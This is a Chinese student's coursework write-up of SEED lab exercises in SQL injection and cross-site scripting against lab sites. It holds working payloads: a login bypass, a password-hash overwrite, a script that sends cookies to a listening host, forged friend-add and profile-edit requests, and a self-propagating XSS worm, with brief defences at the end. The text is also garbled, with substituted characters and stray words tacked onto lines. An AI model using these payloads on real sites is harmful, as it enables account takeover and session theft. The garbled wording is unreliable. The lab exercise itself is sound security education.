这个做业属于哪一个课程 | 《网络攻防实践》 |
这个做业的要求在哪里 | 《网络攻防实践》第十一周做业 |
这个做业在哪一个具体方面帮助我实现目标 | 学习Web应用程序安全攻防知识 |
做业正文.... | 见正文 |
其余参考文献 | 见参考文献 |
1.首先键入sudo service apache2 start
启动apache
2.而后使用mysql -uroot -p
登陆数据库,密码是seedubuntu,查看一下表中数据,为实验结果作个佐证
javascript
1.在fireFox收藏中打开SQL Injection site书签(www.seedlabsqlinjection.com)php
2.F12,USERNAME和输入些东西,登陆,在Network窗口看到输入的用户名和密码发送给unsafe_home.phphtml
3.打开var/www/SQLInjection下的unsafe_home.php文件,看看其对数据断定处理的具体描述
数据库表中存储的Password是输入密码经过sha1以后的哈希值
4.USERNAME输入admin'#
而PASSWORD输入任意便可进入admin的登录主页,由于#注释掉了SQL查询语句中的and Password='$hashed_pwd'
5.命令行键入curl 'www.seedlabsqlinjection.com/unsafe_home.php?username=admin%27%23'
,其中%27和%23便是'和#在url中的转义编码
6.在USERNAME中输入admin';update cerdential set address='NewYork' where name='Alice' #
,试图修改信息,可是没有成功,这是MySql的防护措施,阻止了调用多条语句。
java
1.以相似方式登陆Alice的主页,在Edit Profile修改信息。输入
',Password='46ab578353b0478abc71fa54796a76c10bbe41a8' where name='Ted'#
save后,退回登录界面输入ted和ted登陆,46ab578353b0478abc71fa54796a76c10bbe41a8是ted的sha1加密后的哈希值。mysql
SQL注入漏洞的根本缘由是SQL语句送往数据库执行时没法分清数据和代码。
1.在var/www/SQLInjection下除了看到以前实验中的unsafe_home.php和unsafe_edit_backend.php,还能看到safe_home.php和safe_edit_backend.php。猜想是seedlab提供的使用了对抗sql注入机制的文件。
diff -y -W 100 unsafe_home.php safe_home.php
(显示不全),比对一下,发现后者使用了预编译。
2.unsafe_edit_backend.php和safe_edit_backend.php
3.验证一下效果,浏览器访问
www.seedlabsqlinjection.com/safe_home.php?username=admin'%23&Password=
发现没法进入admin的主页了。
一样验证一下Edit Profile的变化,浏览器访问
www.seedlabsqlinjection.com/safe_edit_backend.php?NickName='%2Csalary%3D100%23
发现Admin的工资并无改成100,而Nickname变为了',salary=100#
web
用户部分信息sql
用户名 | 密码 |
---|---|
admin | seedelgg |
alice | seedalice |
boby | seedboby |
charlie | seedcharlie |
samy | seedsamy |
1.在fireFox收藏中打开书签XSS Lab Site(www.xsslabelgg.com)shell
2.用Alice的用户登陆,用户名alice,密码seedalice数据库
3.在Edit profile编辑我的信息的页面中的Brief description项输入<script> alert('xss');</script>
,save后能够看到一个提示信息为XSS的弹窗
4.相似地,当Brief description项改成<script> alert(document.cookie);</script>
,save后能够看到一个包含本身cookie信息的弹窗
apache
1.在命令行输入nc -l 7777 -v
监听7777端口,而后将Brief description项改成
<script>document.write('<img src=http://192.168.200.4:7777?c='+escape(document.cookie) + ' >');</script>
save保存后看到命令行7777端口收到了cookie信息
1.到Boby的主页www.xsslabelgg.com/profile/boby,添加Boby为好友,在Web控制台Network窗口能够看到用POST方法发送的HTTP请求,参数有三,分别是__elgg_token,__elgg_ts和friend
2.构造JS脚本
<script type="text/javascript"> window.onload = function () { var Ajax=null; var ts="&__elgg_ts="+elgg.security.token.__elgg_ts; var token="&__elgg_token="+elgg.security.token.__elgg_token; //Construct the HTTP request to add Samy as a friend. var sendurl="http://www.xsslabelgg.com/action/friends/add?friend=44" + ts + token; //Create and send Ajax request to add friend Ajax=new XMLHttpRequest(); Ajax.open("GET",sendurl,true); Ajax.setRequestHeader("Host","www.xsslabelgg.com"); Ajax.setRequestHeader("Content-Type","application/x-www-form-urlencoded"); Ajax.send(); } </script>
3.将上述脚本填入Alice我的信息的About me中,推出Alice帐户,登陆Boby帐户,访问Alice主页,而后返回本身的主页,发现已经添加了Alice为好友。
注意:About me中的代码要用edit HTML模式保存
1.一样先看一下修改我的信息都发送了什么数据
2.构造js脚本
<script type="text/javascript"> window.onload = function(){ //JavaScript code to access user name, user guid, Time Stamp __elgg_ts //and Security Token __elgg_token var userName=elgg.session.user.name; var guid="&guid="+elgg.session.user.guid; var ts="&__elgg_ts="+elgg.security.token.__elgg_ts; var token="&__elgg_token="+elgg.security.token.__elgg_token; //Construct the content of your url. var content= token + ts + "name=" + userName + "&description=<p>this had been changed by xss attack.</p> &accesslevel[description]=2&briefdescription=&accesslevel[briefdescription]=2&location=&accesslevel[location]=2&interests=&accesslevel[interests]=2&skills=&accesslevel[skills]=2&contactemail=&accesslevel[contactemail]=2&phone=&accesslevel[phone]=2&mobile=&accesslevel[mobile]=2&website=&accesslevel[website]=2&twitter=&accesslevel[twitter]=2" + guid; var sendurl = "http://www.xsslabelgg.com/action/profile/edit" alert(content) //FILL IN var samyGuid=44; //FILL IN if(elgg.session.user.guid!=samyGuid) { //Create and send Ajax request to modify profile var Ajax=null; Ajax=new XMLHttpRequest(); Ajax.open("POST",sendurl,true); Ajax.setRequestHeader("Host","www.xsslabelgg.com"); Ajax.setRequestHeader("Content-Type","application/x-www-form-urlencoded"); Ajax.send(content); } } </script>
3.将js脚本填入edit HTML模式下Alice的About me中保存。而后登录Boby帐户,访问Alice主页而后回到Boby主页,发现我的信息已改变。
1.构建代码
<script id="worm" type="text/javascript"> window.onload = function(){ var headerTag = "<script id=\'worm\' type=\'text/javascript\'>"; var jsCode = document.getElementById("worm").innerHTML; var tailTag = "</" + "script>"; var wormCode = encodeURIComponent(headerTag + jsCode + tailTag); var userName=elgg.session.user.name; var guid="&guid="+elgg.session.user.guid; var ts="&__elgg_ts="+elgg.security.token.__elgg_ts; var token="&__elgg_token="+elgg.security.token.__elgg_token; //Construct the content of your url. var content= token + ts + "&name=" + userName + "&description=<p>this page had been changed by xss attack "+ wormCode + "</p> &accesslevel[description]=2&briefdescription=&accesslevel[briefdescription]=2&location=&accesslevel[location]=2&interests=&accesslevel[interests]=2&skills=&accesslevel[skills]=2&contactemail=&accesslevel[contactemail]=2&phone=&accesslevel[phone]=2&mobile=&accesslevel[mobile]=2&website=&accesslevel[website]=2&twitter=&accesslevel[twitter]=2" + guid; var sendurl = "http://www.xsslabelgg.com/action/profile/edit" alert(content) var samyGuid=44; if(elgg.session.user.guid!=samyGuid){ var Ajax=null; Ajax=new XMLHttpRequest(); Ajax.open("POST",sendurl,true); Ajax.setRequestHeader("Host","www.xsslabelgg.com"); Ajax.setRequestHeader("Content-Type", "application/x-www-form-urlencoded"); Ajax.send(content); } } </script>
2.将这段蠕虫代码放到Alice的About me中,而后登陆Boby的用户访问Alice的主页,再登陆Charlie的用户访问Boby的主页,能够看到Charlie也被感染了。
使用elgg提供的插件HTMLawed,管理员登录后Account->Administration->plugins,将HTMLawed激活,再次访问Alice主页,发现About me部分的蠕虫已失去效果,代码做为数据被展现。
除此以外还可使用htmlspecialchars函数转义HTML中的特殊字符。
实践小巧但仍是颇有现实意义的。